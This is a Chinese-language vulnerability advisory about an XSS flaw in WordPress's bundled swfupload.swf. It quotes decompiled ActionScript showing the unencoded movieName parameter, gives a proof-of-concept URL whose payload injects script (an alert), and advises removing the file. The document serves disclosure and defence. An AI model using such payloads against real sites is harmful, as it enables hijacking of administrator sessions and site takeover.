WordPress是一種使用PHP語(yǔ)言開(kāi)發(fā)的博客平臺(tái),用戶可以在支持PHP和MySQL 數(shù)據(jù)庫(kù)的服務(wù)器上架設(shè)自己的網(wǎng)志。也可以把WordPress 當(dāng)作一個(gè)內(nèi)容管理系統(tǒng)(CMS)來(lái)使用。近日,國(guó)外安全研究人員公布,WordPress在部分功能實(shí)現(xiàn)上采用了不安全的第三方組件,導(dǎo)致XSS漏洞,當(dāng)攻擊者誘騙管理員點(diǎn)擊,攻擊成功可以直接GETSHELL。
詳細(xì)說(shuō)明:
原文:https://nealpoole.com/blog/2012/05/xss-and-csrf-via-swf-applets-swfupload-plupload/
對(duì)wp-includes/js/swfupload/swfupload.swf進(jìn)行反編譯分析,盡管swfupload.swf其對(duì)傳入ExternalInterface.call的第二個(gè)參數(shù)進(jìn)行了安全編碼,但對(duì)于函數(shù)名,即ExternalInterface.call的第一個(gè)參數(shù)沒(méi)有進(jìn)行安全編碼。www.2cto.com 而函數(shù)名中的部分字符可控,造成xss漏洞。
this.movieName = root.loaderInfo.parameters.movieName;
...
this.flashReady_Callback = "SWFUpload.instances[\"" + this.movieName + "\"].flashReady";
...
if (ExternalCall.Bool(this.testExternalInterface_Callback)){
ExternalCall.Simple(this.flashReady_Callback);
this.hasCalledFlashReady = true;
}
=================
class ExternalCall extends Object{
...
public static function Simple(param1:String) : void
{
ExternalInterface.call(param1);
return;
}
漏洞證明:
http://www.80sec.com/wp-includes/js/swfupload/swfupload.swf?movieName="])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
修復(fù)方案:
暫時(shí)刪除swfupload.swf,等待官方更新。